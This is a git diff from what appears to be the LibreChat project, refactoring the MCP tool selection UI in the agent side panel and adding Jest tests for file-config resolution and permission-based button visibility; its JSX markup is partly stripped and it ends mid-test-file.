@@ -134,18 +155,15 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
0
+ selectedTools.length === tools.length && selectedTools.length > 0
}
onCheckedChange={(checked) => {
- if (serverInfo.tools) {
- const newSelectedTools = checked
- ? serverInfo.tools.map((t) => t.tool_id)
- : [
- `${Constants.mcp_server}${Constants.mcp_delimiter}${currentServerName}`,
- ];
- updateFormTools(newSelectedTools);
- }
+ const newSelectedTools = checked
+ ? tools.map((t) => t.tool_id)
+ : [
+ `${Constants.mcp_server}${Constants.mcp_delimiter}${currentServerName}`,
+ ];
+ updateFormTools(newSelectedTools);
}}
className={cn(
'h-4 w-4 rounded border border-border-medium transition-all duration-200 hover:border-border-heavy',
@@ -162,22 +180,100 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
}}
tabIndex={isExpanded ? 0 : -1}
aria-label={
- selectedTools.length === serverInfo.tools?.length &&
- selectedTools.length > 0
+ selectedTools.length === tools.length && selectedTools.length > 0
? localize('com_ui_deselect_all')
: localize('com_ui_select_all')
}
/>
+ {deferredToolsEnabled && (
+ {
+ e.stopPropagation();
+ toggleDeferAll(tools);
+ }}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter' || e.key === ' ') {
+ e.preventDefault();
+ e.stopPropagation();
+ toggleDeferAll(tools);
+ }
+ }}
+ >
+
+
+ )}
+
+ {programmaticToolsEnabled && (
+ {
+ e.stopPropagation();
+ toggleProgrammaticAll(tools);
+ }}
+ onKeyDown={(e) => {
+ if (e.key === 'Enter' || e.key === ' ') {
+ e.preventDefault();
+ e.stopPropagation();
+ toggleProgrammaticAll(tools);
+ }
+ }}
+ >
+
+
+ )}
+
- {/* Caret button for accordion */}
{
- e.stopPropagation();
- }}
+ onClick={(e) => e.stopPropagation()}
className={cn(
'flex h-7 w-7 items-center justify-center rounded transition-colors duration-200 hover:bg-surface-active-alt focus:translate-x-0 focus:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-1',
isExpanded && 'bg-surface-active-alt',
@@ -207,10 +303,7 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
e.stopPropagation()}
aria-label={`Delete ${currentServerName}`}
tabIndex={0}
@@ -230,51 +323,19 @@ export default function MCPTool({ serverInfo }: { serverInfo?: MCPServerInfo })
- {serverInfo.tools?.map((subTool) => (
-
e.stopPropagation()}
- onKeyDown={(e) => {
- e.stopPropagation();
- }}
- >
- {
- const newSelectedTools = selectedTools.includes(subTool.tool_id)
- ? selectedTools.filter((t) => t !== subTool.tool_id)
- : [...selectedTools, subTool.tool_id];
- updateFormTools(newSelectedTools);
- }}
- onKeyDown={(e) => {
- e.stopPropagation();
- if (e.key === 'Enter' || e.key === ' ') {
- e.preventDefault();
- const checkbox = e.currentTarget as HTMLButtonElement;
- checkbox.click();
- }
- }}
- onClick={(e) => e.stopPropagation()}
- className={cn(
- 'relative float-left mr-2 inline-flex h-4 w-4 cursor-pointer rounded border border-border-medium transition-[border-color] duration-200 hover:border-border-heavy focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 focus:ring-offset-background',
- )}
- aria-label={subTool.metadata.name}
- />
-
- {subTool.metadata.name}
-
- {subTool.metadata.description && (
-
-
-
- )}
-
+ {tools.map((tool) => (
+
toggleToolSelect(tool.tool_id)}
+ onToggleDefer={() => toggleToolDefer(tool.tool_id)}
+ onToggleProgrammatic={() => toggleToolProgrammatic(tool.tool_id)}
+ />
))}
diff --git a/client/src/components/SidePanel/Agents/MCPToolItem.tsx b/client/src/components/SidePanel/Agents/MCPToolItem.tsx
new file mode 100644
index 0000000000..e2fbd79802
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/MCPToolItem.tsx
@@ -0,0 +1,153 @@
+import React from 'react';
+import { Clock, MoreHorizontal, Code2 } from 'lucide-react';
+import {
+ Checkbox,
+ DropdownMenu,
+ DropdownMenuLabel,
+ DropdownMenuTrigger,
+ DropdownMenuContent,
+ DropdownMenuSeparator,
+ DropdownMenuCheckboxItem,
+} from '@librechat/client';
+import type { AgentToolType } from 'librechat-data-provider';
+import { useLocalize } from '~/hooks';
+import { cn } from '~/utils';
+
+interface MCPToolItemProps {
+ tool: AgentToolType;
+ isSelected: boolean;
+ isDeferred: boolean;
+ isProgrammatic: boolean;
+ deferredToolsEnabled: boolean;
+ programmaticToolsEnabled: boolean;
+ onToggleSelect: () => void;
+ onToggleDefer: () => void;
+ onToggleProgrammatic: () => void;
+}
+
+function getToolItemStyle(isDeferred: boolean, isProgrammatic: boolean): string {
+ if (isDeferred && isProgrammatic) {
+ return 'border-purple-500/50 bg-purple-500/5 hover:bg-purple-500/10';
+ }
+ if (isDeferred) {
+ return 'border-amber-500/50 bg-amber-500/5 hover:bg-amber-500/10';
+ }
+ if (isProgrammatic) {
+ return 'border-violet-500/50 bg-violet-500/5 hover:bg-violet-500/10';
+ }
+ return 'border-token-border-light hover:bg-token-surface-secondary';
+}
+
+export default function MCPToolItem({
+ tool,
+ isSelected,
+ isDeferred,
+ onToggleDefer,
+ onToggleSelect,
+ isProgrammatic,
+ onToggleProgrammatic,
+ deferredToolsEnabled,
+ programmaticToolsEnabled,
+}: MCPToolItemProps) {
+ const localize = useLocalize();
+ const hasOptions = isDeferred || isProgrammatic;
+
+ return (
+ e.stopPropagation()}
+ onKeyDown={(e) => e.stopPropagation()}
+ >
+
{
+ e.stopPropagation();
+ if (e.key === 'Enter' || e.key === ' ') {
+ e.preventDefault();
+ const checkbox = e.currentTarget as HTMLButtonElement;
+ checkbox.click();
+ }
+ }}
+ onClick={(e) => e.stopPropagation()}
+ className="relative mr-2 inline-flex h-4 w-4 shrink-0 cursor-pointer rounded border border-border-medium transition-[border-color] duration-200 hover:border-border-heavy focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 focus:ring-offset-background"
+ aria-label={tool.metadata.name}
+ />
+
+ {tool.metadata.name}
+
+
+ {isDeferred &&
}
+ {isProgrammatic &&
}
+
+
+ e.stopPropagation()}
+ aria-label={localize('com_ui_mcp_tool_options')}
+ >
+
+
+
+ e.stopPropagation()}
+ >
+
+ {tool.metadata.description || localize('com_ui_mcp_no_description')}
+
+
+ {deferredToolsEnabled && (
+
+
+
+
+ {localize('com_ui_mcp_defer_loading')}
+
+ {localize('com_ui_mcp_click_to_defer')}
+
+
+
+
+ )}
+ {programmaticToolsEnabled && (
+
+
+
+
+ {localize('com_ui_mcp_programmatic')}
+
+ {localize('com_ui_mcp_click_to_programmatic')}
+
+
+
+
+ )}
+
+
+
+
+ );
+}
diff --git a/client/src/components/SidePanel/Agents/MCPTools.tsx b/client/src/components/SidePanel/Agents/MCPTools.tsx
index fa028b2d55..3dc9a19d6a 100644
--- a/client/src/components/SidePanel/Agents/MCPTools.tsx
+++ b/client/src/components/SidePanel/Agents/MCPTools.tsx
@@ -1,10 +1,10 @@
import React from 'react';
+import { PermissionTypes, Permissions } from 'librechat-data-provider';
import UninitializedMCPTool from './UninitializedMCPTool';
import UnconfiguredMCPTool from './UnconfiguredMCPTool';
-import { useAgentPanelContext } from '~/Providers';
import { useHasAccess, useLocalize } from '~/hooks';
+import { useAgentPanelContext } from '~/Providers';
import MCPTool from './MCPTool';
-import { PermissionTypes, Permissions } from 'librechat-data-provider';
export default function MCPTools({
agentId,
@@ -46,7 +46,7 @@ export default function MCPTools({
return null;
}
- if (serverInfo.isConnected) {
+ if (serverInfo?.tools?.length && serverInfo.tools.length > 0) {
return (
);
diff --git a/client/src/components/SidePanel/Agents/ModelPanel.tsx b/client/src/components/SidePanel/Agents/ModelPanel.tsx
index bfcac5bdea..cec4041947 100644
--- a/client/src/components/SidePanel/Agents/ModelPanel.tsx
+++ b/client/src/components/SidePanel/Agents/ModelPanel.tsx
@@ -15,6 +15,7 @@ import {
import type * as t from 'librechat-data-provider';
import type { AgentForm, AgentModelPanelProps, StringOption } from '~/common';
import { useGetEndpointsQuery } from '~/data-provider';
+import { useLiveAnnouncer } from '~/Providers';
import { useLocalize } from '~/hooks';
import { Panel } from '~/common';
import { cn } from '~/utils';
@@ -25,6 +26,7 @@ export default function ModelPanel({
models: modelsData,
}: Pick) {
const localize = useLocalize();
+ const { announcePolite } = useLiveAnnouncer();
const { control, setValue } = useFormContext();
@@ -91,6 +93,7 @@ export default function ModelPanel({
const handleResetParameters = () => {
setValue('model_parameters', {} as t.AgentModelParameters);
+ announcePolite({ message: localize('com_ui_model_parameters_reset'), isStatus: true });
};
return (
diff --git a/client/src/components/SidePanel/Agents/Search/Action.tsx b/client/src/components/SidePanel/Agents/Search/Action.tsx
index d71d0878fa..79019e28b7 100644
--- a/client/src/components/SidePanel/Agents/Search/Action.tsx
+++ b/client/src/components/SidePanel/Agents/Search/Action.tsx
@@ -14,6 +14,7 @@ import type { AgentForm } from '~/common';
import { useLocalize, useSearchApiKeyForm } from '~/hooks';
import ApiKeyDialog from './ApiKeyDialog';
import { ESide } from '~/common';
+import { cn } from '~/utils';
export default function Action({
authTypes = [],
@@ -81,7 +82,10 @@ export default function Action({
{localize('com_ui_web_search')}
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
new file mode 100644
index 0000000000..aeb0dd3ff9
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFileConfig.spec.tsx
@@ -0,0 +1,151 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig, resolveEndpointType } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import useAgentFileConfig from '~/hooks/Agents/useAgentFileConfig';
+
+/**
+ * Tests the useAgentFileConfig hook used by FileContext, FileSearch, and Code/Files.
+ * Uses the real hook with mocked data-fetching layer.
+ */
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+ 'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { fileLimit: 5 },
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+});
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+}));
+
+function FileConfigProbe() {
+ const { endpointType, endpointFileConfig } = useAgentFileConfig();
+ return (
+
+ {String(endpointType)}
+ {endpointFileConfig.fileLimit}
+ {String(endpointFileConfig.disabled ?? false)}
+
+ );
+}
+
+function TestWrapper({ provider }: { provider?: string | { label: string; value: string } }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return (
+
+
+
+ );
+}
+
+describe('AgentPanel file config resolution (useAgentFileConfig)', () => {
+ describe('endpointType resolution from form provider', () => {
+ it('resolves to custom when provider is a custom endpoint string', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to custom when provider is a custom endpoint with spaces', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+
+ it('resolves to openAI when provider is openAI', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.openAI);
+ });
+
+ it('falls back to agents when provider is undefined', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents when provider is empty string', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('falls back to agents when provider option has empty value', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.agents);
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('resolves correctly when provider is an option object', () => {
+ render( );
+ expect(screen.getByTestId('endpointType').textContent).toBe(EModelEndpoint.custom);
+ });
+ });
+
+ describe('file config fallback chain', () => {
+ it('uses Moonshot-specific file config when provider is Moonshot', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('5');
+ });
+
+ it('falls back to agents file config when provider has no specific config', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('uses agents file config when no provider is set', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('20');
+ });
+
+ it('falls back to default config for openAI provider (no openAI-specific config)', () => {
+ render( );
+ expect(screen.getByTestId('fileLimit').textContent).toBe('10');
+ });
+ });
+
+ describe('disabled state', () => {
+ it('reports not disabled for standard config', () => {
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('false');
+ });
+
+ it('reports disabled when provider-specific config is disabled', () => {
+ const original = mockFileConfig;
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ Moonshot: { disabled: true },
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+
+ render( );
+ expect(screen.getByTestId('disabled').textContent).toBe('true');
+
+ mockFileConfig = original;
+ });
+ });
+
+ describe('consistency with direct custom endpoint', () => {
+ it('resolves to the same type as a direct custom endpoint would', () => {
+ render( );
+ const agentEndpointType = screen.getByTestId('endpointType').textContent;
+ const directEndpointType = resolveEndpointType(mockEndpointsConfig, 'Moonshot');
+ expect(agentEndpointType).toBe(directEndpointType);
+ });
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
index 3425f5a75c..cfceeacb33 100644
--- a/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
+++ b/client/src/components/SidePanel/Agents/__tests__/AgentFooter.spec.tsx
@@ -174,7 +174,7 @@ jest.mock('~/components/Sharing', () => ({
resourceType: ResourceType;
}) => (
{
expect(screen.getByTestId('version-button')).toBeInTheDocument();
expect(screen.getByTestId('delete-button')).toBeInTheDocument();
expect(screen.queryByTestId('admin-settings')).not.toBeInTheDocument();
- expect(screen.getByTestId('grant-access-dialog')).toBeInTheDocument();
+ expect(screen.getByTestId('grant-access-dialog-agent')).toBeInTheDocument();
expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
expect(screen.queryByTestId('spinner')).not.toBeInTheDocument();
});
@@ -338,7 +338,7 @@ describe('AgentFooter', () => {
expect(screen.getByText('Create')).toBeInTheDocument();
expect(screen.queryByTestId('version-button')).not.toBeInTheDocument();
expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument();
- expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument();
+ expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument();
});
@@ -346,7 +346,7 @@ describe('AgentFooter', () => {
mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin));
const { unmount } = render(
);
expect(screen.getByTestId('admin-settings')).toBeInTheDocument();
- expect(screen.getByTestId('grant-access-dialog')).toBeInTheDocument();
+ expect(screen.getByTestId('grant-access-dialog-agent')).toBeInTheDocument();
// Clean up the first render
unmount();
@@ -362,9 +362,15 @@ describe('AgentFooter', () => {
}
return undefined;
});
+ mockUseHasAccess.mockReturnValue(true);
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 0,
+ });
render(
);
- expect(screen.queryByTestId('grant-access-dialog')).toBeInTheDocument(); // Still shows because hasAccess is true
- expect(screen.queryByTestId('duplicate-agent')).not.toBeInTheDocument(); // Should not show for different author
+ expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument(); // No share permission
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument(); // No edit permission
});
test('adjusts UI based on permissions', () => {
@@ -392,7 +398,7 @@ describe('AgentFooter', () => {
permissionBits: 0,
});
render(
);
- expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument();
+ expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
});
test('hides action buttons when permissions are loading', () => {
@@ -419,8 +425,85 @@ describe('AgentFooter', () => {
});
render(
);
expect(screen.queryByTestId('delete-button')).not.toBeInTheDocument();
- expect(screen.queryByTestId('grant-access-dialog')).not.toBeInTheDocument();
- // Duplicate button should still show as it doesn't depend on permissions loading
+ expect(screen.queryByTestId('grant-access-dialog-agent')).not.toBeInTheDocument();
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+ });
+
+ test('shows duplicate button for non-owner with EDIT permission', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: (bit: number) => bit === 2,
+ isLoading: false,
+ permissionBits: 2,
+ });
+ render(
);
+ expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
+ });
+
+ test('hides duplicate button for non-owner with only VIEW permission', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.different));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 1,
+ });
+ render(
);
+ expect(screen.queryByTestId('duplicate-button')).not.toBeInTheDocument();
+ });
+
+ test('shows duplicate button for admin who is not the author', () => {
+ mockUseAuthContext.mockReturnValue(createAuthContext(mockUsers.admin));
+ mockUseWatch.mockImplementation(({ name }) => {
+ if (name === 'agent') {
+ return {
+ _id: 'agent-db-123',
+ name: 'Test Agent',
+ author: 'user-123',
+ projectIds: ['project-1'],
+ isCollaborative: false,
+ };
+ }
+ if (name === 'id') {
+ return 'agent-123';
+ }
+ return undefined;
+ });
+ mockUseResourcePermissions.mockReturnValue({
+ hasPermission: () => false,
+ isLoading: false,
+ permissionBits: 0,
+ });
+ render(
);
expect(screen.getByTestId('duplicate-button')).toBeInTheDocument();
});
});
diff --git a/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
new file mode 100644
index 0000000000..0e965e4c84
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/CodeFiles.spec.tsx
@@ -0,0 +1,138 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import Files from '../Code/Files';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ abortUpload: jest.fn(),
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@librechat/client', () => ({
+ AttachmentIcon: () =>
,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm
({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('Code/Files', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled for provider', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and no provider config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('falls back to agents for endpointOverride when provider is empty string', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_assistants_code_interpreter_files')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
new file mode 100644
index 0000000000..f99d71d2b7
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileContext.spec.tsx
@@ -0,0 +1,151 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileContext from '../FileContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
+const mockUseFileHandlingNoChatContext = jest.fn().mockReturnValue({
+ handleFileChange: jest.fn(),
+});
+
+jest.mock('~/hooks/Files/useFileHandling', () => ({
+ useFileHandlingNoChatContext: (...args: unknown[]) => mockUseFileHandlingNoChatContext(...args),
+}));
+
+jest.mock('~/hooks/Files/useSharePointFileHandling', () => ({
+ useSharePointFileHandlingNoChatContext: () => ({
+ handleSharePointFiles: jest.fn(),
+ isProcessing: false,
+ downloadProgress: 0,
+ }),
+}));
+
+jest.mock('~/components/SharePoint', () => ({
+ SharePointPickerDialog: () => null,
+}));
+
+jest.mock('~/components/Chat/Input/Files/FileRow', () => () => null);
+
+jest.mock('@ariakit/react', () => ({
+ MenuButton: ({ children, ...props }: { children: React.ReactNode }) => (
+ {children}
+ ),
+}));
+
+jest.mock('@librechat/client', () => ({
+ HoverCard: ({ children }: { children: React.ReactNode }) => {children}
,
+ DropdownPopup: () => null,
+ AttachmentIcon: () => ,
+ CircleHelpIcon: () => ,
+ SharePointIcon: () => ,
+ HoverCardPortal: ({ children }: { children: React.ReactNode }) => {children}
,
+ HoverCardContent: ({ children }: { children: React.ReactNode }) => {children}
,
+ HoverCardTrigger: ({ children }: { children: React.ReactNode }) => {children}
,
+}));
+
+function Wrapper({ provider, children }: { provider?: string; children: React.ReactNode }) {
+ const methods = useForm({
+ defaultValues: { provider: provider as AgentForm['provider'] },
+ });
+ return {children} ;
+}
+
+describe('FileContext', () => {
+ it('renders upload UI when file uploads are not disabled', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+ });
+
+ it('returns null when file config is disabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { Moonshot: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('returns null when agents endpoint config is disabled and provider has no specific config', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: { [EModelEndpoint.agents]: { disabled: true }, default: { fileLimit: 10 } },
+ });
+ const { container } = render(
+
+
+ ,
+ );
+ expect(container.innerHTML).toBe('');
+ });
+
+ it('passes provider as endpointOverride and resolved type as endpointTypeOverride', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe('Moonshot');
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.custom);
+ });
+
+ it('falls back to agents for endpointOverride when no provider', () => {
+ mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+ mockUseFileHandlingNoChatContext.mockClear();
+ render(
+
+
+ ,
+ );
+ const params = mockUseFileHandlingNoChatContext.mock.calls[0][0];
+ expect(params.endpointOverride).toBe(EModelEndpoint.agents);
+ expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents);
+ });
+
+ it('renders when provider has no specific config and agents config is enabled', () => {
+ mockFileConfig = mergeFileConfig({
+ endpoints: {
+ [EModelEndpoint.agents]: { fileLimit: 20 },
+ default: { fileLimit: 10 },
+ },
+ });
+ render(
+
+
+ ,
+ );
+ expect(screen.getByText('com_agents_file_context_label')).toBeInTheDocument();
+ });
+});
diff --git a/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
new file mode 100644
index 0000000000..003388f5d8
--- /dev/null
+++ b/client/src/components/SidePanel/Agents/__tests__/FileSearch.spec.tsx
@@ -0,0 +1,147 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import { useForm, FormProvider } from 'react-hook-form';
+import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
+import type { TEndpointsConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import FileSearch from '../FileSearch';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+ [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+ Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockFileConfig = mergeFileConfig({ endpoints: { default: { fileLimit: 10 } } });
+
+jest.mock('~/data-provider', () => ({
+ useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+ useGetFileConfig: ({ select }: { select?: (d: unknown) => unknown }) => ({
+ data: select != null ? select(mockFileConfig) : mockFileConfig,
+ }),
+ useGetStartupConfig: () => ({ data: { sharePointFilePickerEnabled: false } }),
+}));
+
+jest.mock('~/hooks', () => ({
+ useAgentFileConfig: jest.requireActual('~/hooks/Agents/useAgentFileConfig').default,
+ useLocalize: () => (key: string) => key,
+ useLazyEffect: () => {},
+}));
+
